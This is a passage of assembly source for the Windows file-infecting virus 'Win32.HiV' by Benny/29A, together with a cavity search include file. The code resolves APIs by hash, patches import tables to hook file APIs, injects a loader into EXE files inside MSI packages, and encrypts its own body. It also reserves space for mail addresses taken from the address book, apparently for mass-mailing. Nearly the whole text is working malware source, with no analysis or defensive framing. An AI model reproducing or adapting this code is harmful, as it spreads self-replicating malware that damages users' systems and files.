mem_dealloc:
push MEM_DECOMMIT
push 8192
push esi
call [ebp + a_VirtualFree - gd]
push MEM_RELEASE
push 0
push esi
call [ebp + a_VirtualFree - gd]
ret
;this procedure can retrieve API addresses
get_apis Proc
pushad
@SEH_SetupFrame <jmp q_gpa>
lea esi,[ebp + crc32s - gdelta] ;get ptr to CRC32 values of APIs
lea edi,[ebp + a_apis - gdelta] ;where to store API addresses
push crc32c ;how many APIs do we need
pop ecx ;in ECX...
g_apis: push eax ;save K32 base
call get_api
stosd ;save address
test eax,eax
pop eax
je q_gpa ;quit if not found
add esi,4 ;move to next CRC32 value
loop g_apis ;search for API addresses in a loop
jmp end_seh ;and quit
q_gpa: @SEH_RemoveFrame
popad
pop eax
jmp end_host ;quit if error
get_apis EndP
a_go: inc esi ;jump over alignments
inc esi
pushad ;store all registers
xor edx,edx ;zero EDX
xchg eax,esi
push 2
pop ecx
div ecx
test edx,edx
je end_align ;no alignments needed
inc eax
end_align:
mul ecx ;align API name
mov [esp.Pushad_esi],eax
popad ;restore all registers
ret ;and quit from procedure
;this procedure can patch API calls (both of MS and Borland style)
patch_IT Proc
pushad ;store all registers
@SEH_SetupFrame <jmp endPIT> ;setup SEH frame
call itDlta
itDelta:db 0b8h
itDlta: pop ebp
mov [ebp + gmh - itDelta],eax ;save it
mov ebx,[eax.MZ_lfanew] ;get to PE header
add ebx,eax ;make pointer raw
push dword ptr [ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
call rva2raw
pop edx
sub edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
push edi
n_dll: pop edi
add edx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
mov ecx,12345678h
inet_k32 = dword ptr $-4
jecxz szInet
@getsz 'KERNEL32.dll',edi
jmp o_inet
szInet: @getsz 'WININET.dll',edi
o_inet: mov esi,[edx]
test esi,esi
je endPIT
sdll: push dword ptr [edx.ID_Name]
call rva2raw
pop esi
push edi
cmpsd ;is it our library?
jne n_dll
cmpsd
jne n_dll
cmpsd
jne n_dll
pop edi
xor ecx,ecx ;zero counter
push dword ptr [edx.ID_OriginalFirstThunk] ;get first record
call rva2raw
pop esi
push dword ptr [esi] ;get first API name
call rva2raw
pop esi
pit_align:
call a_go
push esi ;store pointer
@endsz ;get to the end of API name
mov edi,esi
sub edi,[esp] ;move size of API name to EDI
pop esi ;restore pointer
push eax ;store EAX
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp.cPushad+10h] ;check, if it is requested API
je a_ok ;yeah, it is
inc ecx
mov eax,[esi] ;check, if there is next API
test eax,eax ;...
pop eax ;restore EAX
jne pit_align ;yeah, check it
jmp endPIT ;no, quit
a_ok: pop eax ;restore EAX
push dword ptr [edx.ID_FirstThunk] ;get address to IAT
call rva2raw
pop edx
mov eax,[edx+ecx*4] ;get address
mov [esp.Pushad_eax+8],eax ;and save it to stack
pushad ;store all registers
mov eax,0 ;get base address of program
gmh = dword ptr $-4
mov ebx,[eax.MZ_lfanew]
add ebx,eax ;get PE header
;get base of code
push dword ptr [ebx.NT_OptionalHeader.OH_BaseOfCode]
call rva2raw ;normalize
pop esi ;to ESI
mov ecx,[ebx.NT_OptionalHeader.OH_SizeOfCode]
pushad ;and its size
call p_var
dd ?
p_var: push PAGE_EXECUTE_READWRITE
push ecx
push esi ;allow to modify protected code
call [ebp + a_VirtualProtect - itDelta]
popad
sJMP: mov dl,[esi] ;get byte from code
inc esi
cmp dl,0FFh ;is it JMP/CALL?
jne lJMP ;check, if it is
cmp byte ptr [esi],25h ;JMP DWORD PTR [XXXXXXXXh]
je gIT1
cmp byte ptr [esi],15h ;or CALL DWORD PTR [XXXXXXXXh]
jne lJMP
mov dl,0E8h
jmp gIT2
gIT1: mov dl,0E9h
gIT2: mov [ebp + j_or_c - itDelta],dl ;change opcode
mov edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
add edi,[ebx.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Size]
push ecx
mov ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
add edi,ecx
push ebp
mov ebp,[esi+1]
sub ebp,ecx
push ebp
call rva2raw
pop ebp
sub ebp,eax
add ebp,ecx
sub edi,ebp
pop ebp
pop ecx
js lJMP ;check, if it is correct address
push ecx
push edx ;store EDX
mov edx,[esp.Pushad_ecx+8] ;get counter
imul edx,4 ;multiply it by 4
add edx,[esp.Pushad_edx+8] ;add address to IAT to ptr
sub edx,eax
mov ecx,[esi+1]
sub ecx,[ebx.NT_OptionalHeader.OH_ImageBase]
push ecx
call rva2raw
pop ecx
sub ecx,eax
cmp edx,ecx ;is it current address
pop edx
pop ecx ;restore EDX
jne sJMP ;no, get next address
mov eax,[esi+1]
mov [esp.cPushad.Pushad_eax+8],eax ;store register to stack
mov [esp.Pushad_esi],esi ;for l8r use
popad ;restore all registers
mov byte ptr [esi-1],0E9h ;build JMP or CALL
j_or_c = byte ptr $-1
mov ebx,[esi+1]
mov eax,[esp.cPushad+10h] ;get address
add eax,[ebp + gmh - itDelta]
sub eax,esi ;- current address
sub eax,4 ;+1-5
mov [esi],eax ;store built jmp instruction
mov byte ptr [esi+4],90h
xchg eax,ebx
jmp endIT ;and quit
lJMP: dec ecx
jecxz endPIT-1
jmp sJMP ;search in a loop
popad ;restore all registers
endPIT: xor eax,eax
mov [esp.Pushad_eax+8],eax
endIT: @SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
ret 8 ;and quit
patch_IT EndP
;this procedure can converting RVAs to RAW pointers
rva2raw:pushad ;store all registers
mov ecx,12345678h ;0 if actual host program
r2rp = dword ptr $-4
jecxz nr2r
mov edx,[esp.cPushad+4]
movzx ecx,word ptr [ebx.NT_FileHeader.FH_NumberOfSections]
movzx esi,word ptr [ebx.NT_FileHeader.FH_SizeOfOptionalHeader]
lea esi,[esi+ebx+IMAGE_SIZEOF_FILE_HEADER+4]
n_r2r: mov edi,[esi.SH_VirtualAddress] ;search inside section
add edi,[esi.SH_VirtualSize] ;headerz for matches
cmp edx,edi
jb c_r2r
add esi,IMAGE_SIZEOF_SECTION_HEADER
loop n_r2r
popad ;restore all registers
ret ;and quit
nr2r: add [esp.cPushad+4],eax
popad ;restore all registers
ret ;and quit
c_r2r: add eax,[esi.SH_PointerToRawData] ;correct RVA to RAW pointer
add eax,edx
sub eax,[esi.SH_VirtualAddress]
mov [esp.cPushad+4],eax ;save it
popad
ret
;this procedure can open file - used in resident mode
;input: EBX - filename to open
resCreate_FileA Proc
and dword ptr [ebp + cfa_patch - gd],0
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
db 6ah ;PUSH SHORT
cfa_flagz db OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + a_CreateFileA - gd]
mov [ebp + cfa_patch - gd],ebp
ret
resCreate_FileA EndP
;this procedure can open file - used in non-resident mode
;input: EBX - filename to open
Create_FileA Proc
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push ebx
call [ebp + a_CreateFileA - gdelta]
ret
Create_FileA EndP
;this procedure can create file mapping object - used in non-resident mode
;input: EAX - opened handle of file
Create_FileMappingA Proc
cdq
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + a_CreateFileMappingA - gdelta]
ret
Create_FileMappingA EndP
;this procedure can map view of file - used in non-resident mode
;input: ECX - opened handle of file mapping object
Map_ViewOfFile Proc
push 0
push 0
push 0
push FILE_MAP_WRITE
push ecx
call [ebp + a_MapViewOfFile - gdelta]
ret
Map_ViewOfFile EndP
;this procedure can convert number to ASCII decimal format
;input: EAX - number
;output: [EDI] - stored ASCII number
Num2Ascii Proc
push esi
push edi
lea edi,[ebp + dec_buff - gdelta]
push 10
pop ecx
g_str: xor edx,edx
div ecx
add edx,'0'
xchg eax,edx
stosb
xchg eax,edx
test eax,eax
jne g_str
pop esi
xchg esi,edi
dec esi
cpy_num:std
lodsb
cld
stosb
cmp al,11h
jne cpy_num
dec edi
xor al,al
stosb
pop esi
ret
Num2Ascii EndP
;this is MSI loader - virus places this procedure into EXE files inside MSIs
msi_start Proc
pushad
call mdelta
mdelta: pop ebp ;get delta offset
call get_base ;get base of K32
test eax,eax
je end_msi
push eax
call crc32m1
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 0FFC97C1Fh ;GetProcAddress
crc32m1:pop esi
call get_api ;get addresses of these APIs
xchg eax,ecx
pop eax
test ecx,ecx
je end_msi
push eax
add esi,4
call get_api ;...
xchg eax,edi
test edi,edi
pop eax
je end_msi
add esi,4
push eax
call get_api ;...
xchg eax,edx
test edx,edx
pop eax
je end_msi
push edx
@pushsz 'USER32'
call ecx ;load USER32.DLL library
xchg eax,esi
test esi,esi
pop edx
je end_msi
@pushsz 'MessageBoxA'
push esi
call edx ;get address of MessageBoxA API
xchg eax,ecx
test ecx,ecx
je freelib
push 1000h
@pushsz '[Win32.HiV] by Benny/29A'
szTitle:call szMsg
p_msg: db 'This cell has been infected by HIV virus, generation: '
gcount: db '0000000000',0
szMsg: push 0
call ecx ;show lame message :)
freelib:push esi
call edi ;unload USER32.DLL
end_msi:popad
mov eax,offset ExitProcess
msi_entrypoint = dword ptr $-4
jmp eax ;and quit to host
;this procedure can get base address of K32
get_base Proc
push ebp ;store EBP
call gdlt ;get delta offset
gdlt: pop ebp ;to EBP
mov eax,12345678h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address
call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item
call scan_kern ;scan the address space for K32
end_gb: pop ebp ;restore EBP
ret ;quit
check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdlt],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found
SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdlt],1000h ;explore next page
jmp bck ;continue execution
endm
scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,-'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdlt],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
;this procedure can retrieve address of given API
get_api Proc
pushad ;store all registers
@SEH_SetupFrame <jmp end_gpa>;setup SEH frame
mov edi,[eax.MZ_lfanew] ;move to PE header
add edi,eax ;...
mov ecx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
jecxz end_gpa ;quit if no exports
mov ebx,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
mov edx,eax ;get address of export table
add edx,[ebx.ED_AddressOfNames] ;address of API names
mov ecx,[ebx.ED_NumberOfNames] ;number of API names
mov edi,edx
push dword ptr [esi] ;save CRC32 to stack
mov ebp,eax
xor eax,eax
APIname:push eax
mov esi,ebp ;get base
add esi,[edx+eax*4] ;move to API name
push esi ;save address
@endsz ;go to the end of string
sub esi,[esp] ;get string size
mov edi,esi ;move it to EDI
pop esi ;restore address of API name
call CRC32 ;calculate CRC32 of API name
cmp eax,[esp+4] ;is it right API?
pop eax
je g_name ;yeah, we got it
inc eax ;increment counter
loop APIname ;and search for next API name
pop eax
end_gpa:xor eax, eax ;set flag
ok_gpa: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save value to stack
popad ;restore all registers
ret ;quit from procedure
g_name: pop edx
mov edx,ebp
add edx,[ebx.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2]
cmp eax,[ebx.ED_NumberOfFunctions]
jae end_gpa-1
mov edx,ebp ;base of K32
add edx,[ebx.ED_AddressOfFunctions] ;address of API functions
add ebp,[edx+eax*4] ;get API function address
xchg eax,ebp ;we got address of API in EAX
jmp ok_gpa ;quit
get_api EndP
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
msi_end:
msi_start EndP
;CRC32s of APIz
crc32s: dd 0DCF6E06Ch ;GetEnvironmentVariableA
dd 033D350C4h ;OpenProcess
dd 068624A9Dh ;CloseHandle
dd 019F33607h ;CreateThread
dd 079C3D4BBh ;VirtualProtect
dd 0FFC97C1Fh ;GetProcAddress
dd 04A27089Fh ;ReadProcessMemory
dd 00E9BBAD5h ;WriteProcessMemory
dd 056E1B657h ;VirtualProtectEx
dd 0D4AFA114h ;VirtualQueryEx
dd 04402890Eh ;VirtualAlloc
dd 02AAD1211h ;VirtualFree
dd 0DA89FC22h ;VirtualAllocEx
dd 03C19E536h ;SetFileAttributesA
dd 08C892DDFh ;CreateFileA
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 085859D42h ;SetFilePointer
dd 059994ED6h ;SetEndOfFile
dd 04B2A3E7Dh ;SetFileTime
dd 0CC09D51Eh ;DeviceIoControl
dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 0C200BE21h ;FindClose
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 021777793h ;WriteFile
dd 0DE256FDEh ;DeleteFileA
dd 004DCF392h ;GetModuleFileNameA
dd 082B618D4h ;GetModuleHandleA
dd 052E3BEB1h ;IsDebuggerPresent
dd 0EF7D811Bh ;GetFileSize
dd 054D8615Ah ;ReadFile
crc32c = ($-crc32s)/4 ;number of APIz
;CRC32s of APIz for hooking
crcRes: dd 0AE17EBEFh ;FindFirstFileA
dd 0AA700106h ;FindNextFileA
dd 05BD05DB1h ;CopyFileA
dd 02308923Fh ;MoveFileA
dd 08C892DDFh ;CreateFileA
crcResCount = ($-crcRes)/4
;pointerz to pointerz to APIz in memory
posRes: dd offset posFindFirstFileA
dd offset posFindNextFileA
dd offset posCopyFileA
dd offset posMoveFileA
dd offset posCreateFileA
;pointerz to API hookerz
newRes: dd offset newFindFirstFileA-Start
dd offset newFindNextFileA-Start
dd offset newCopyFileA-Start
dd offset newMoveFileA-Start
dd offset newCreateFileA-Start
;pointerz to memory where will be saved 5 original bytes of APIz
oldRes: dd offset oldFindFirstFileA
dd offset oldFindNextFileA
dd offset oldCopyFileA
dd offset oldMoveFileA
dd offset oldCreateFileA
db 11h
end_virus: ;end of virus in file
dec_buff db 10 dup (?)
align 4
a_apis: ;addresses of APIs
a_GetEnvironmentVariableA dd ?
a_OpenProcess dd ?
a_CloseHandle dd ?
a_CreateThread dd ?
a_VirtualProtect dd ?
a_GetProcAddress dd ?
a_ReadProcessMemory dd ?
a_WriteProcessMemory dd ?
a_VirtualProtectEx dd ?
a_VirtualQueryEx dd ?
a_VirtualAlloc dd ?
a_VirtualFree dd ?
a_VirtualAllocEx dd ?
a_SetFileAttributesA dd ?
a_CreateFileA dd ?
a_CreateFileMappingA dd ?
a_MapViewOfFile dd ?
a_UnmapViewOfFile dd ?
a_SetFilePointer dd ?
a_SetEndOfFile dd ?
a_SetFileTime dd ?
a_DeviceIoControl dd ?
a_FindFirstFileA dd ?
a_FindNextFileA dd ?
a_FindClose dd ?
a_LoadLibraryA dd ?
a_FreeLibrary dd ?
a_WriteFile dd ?
a_DeleteFileA dd ?
a_GetModuleFileNameA dd ?
a_GetModuleHandleA dd ?
a_IsDebuggerPresent dd ?
a_GetFileSize dd ?
a_ReadFile dd ?
WFD WIN32_FIND_DATA ? ;WIN32_FIND_DATA structure
mbi: dd ? ;MEMORY_BASIC_INFORMATION
dd ? ;structure needed by
dd ? ;VirtualQueryEx API
reg_size dd ? ;number of pages with same rights*size of one page
reg_state dd ? ;state of page(s)
dd ?
dd ?
mbi_size = dword ptr $-mbi
reg_buffer db MAX_PATH dup (?);some bufferz with multiply
wab_buffer db MAX_PATH dup (?);usage
MAPIMessage dd 12 dup (?) ;MAPI message
MsgFrom dd 6 dup (?) ;Sender structure
MsgTo dd 5*6 dup (?) ;Recipient structure
MAPIFileDesc dd 6 dup (?) ;Attachment structure
mails db 22h*5 dup (?) ;space for 5 mail addresses
;extracted from address book
virtual_end: ;end of virus in memory
.code ;first generation code
FirstGeneration:
pushad ;encrypt virus body
mov esi,offset encrypted
mov edi,esi
mov ecx,(end_virus-encrypted+3)/4
encrypt:lodsd
xor eax,12345678h ;encrypt virus
stosd
loop encrypt
popad
enter 0,0 ;prolog of procedure
push ebx
push esi
push edi
E_EPO: jmp Start ;jump to virus code
;(will be overwritten by
;procedure's epilog)
;size of virus raw data
db 0dh,0ah,'Virus size in file: '
db '0'+((end_virus-Start)/1000) mod 10
db '0'+((end_virus-Start)/100) mod 10
db '0'+((end_virus-Start)/10) mod 10
db '0'+((end_virus-Start)/1) mod 10
;virtual size of virus
db 0dh,0ah,'Virus size in memory: '
db '0'+((virtual_end-Start)/1000) mod 10
db '0'+((virtual_end-Start)/100) mod 10
db '0'+((virtual_end-Start)/10) mod 10
db '0'+((virtual_end-Start)/1) mod 10
db 0dh,0ah
ends ;end of first generation code
End FirstGeneration ;end of everything :)
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[HIV.ASM]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[CSE.INC]<EFBFBD><EFBFBD><EFBFBD>
;-----------------------------------------------------------------------------
; Cavity search engine Benny and Darkman of 29A
;
; Calling parameters:
; ECX = size of search area
; ESI = pointer to search area
;
; Return parameters:
; ESI = pointer to cave
;
; Changed registers:
; EAX, EBX, ECX, EDX, ESI
CSE: pushad
lodsb ; AL = byte within search area
reset_cavity_loop:
xchg eax,ebx ; BL = " " " "
xor edx,edx ; Zero EDX
dec ecx ; Decrease counter
jecxz no_cave_found ; Zero ECX? Jump to no_cave_found
find_cave_loop:
lodsb ; AL = byte within search area
cmp al,bl ; Current byte equal to previous byte?
jne reset_cavity_loop ; Not equal? Jump to reset_cavity_loop
inc edx ; Increase number of bytes found in
; cave
cmp edx,msi_end-msi_start ; Found a cave large enough?
jne find_cave_loop ; Not equal? Jump to find_cave_loop
sub esi,msi_end-msi_start ; ESI = pointer to cave
mov [esp.Pushad_esi],esi
popad
;-----------------------------------------------------------------------------
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[CSE.INC]<EFBFBD><EFBFBD><EFBFBD>
Reference in New Issue Copy Permalink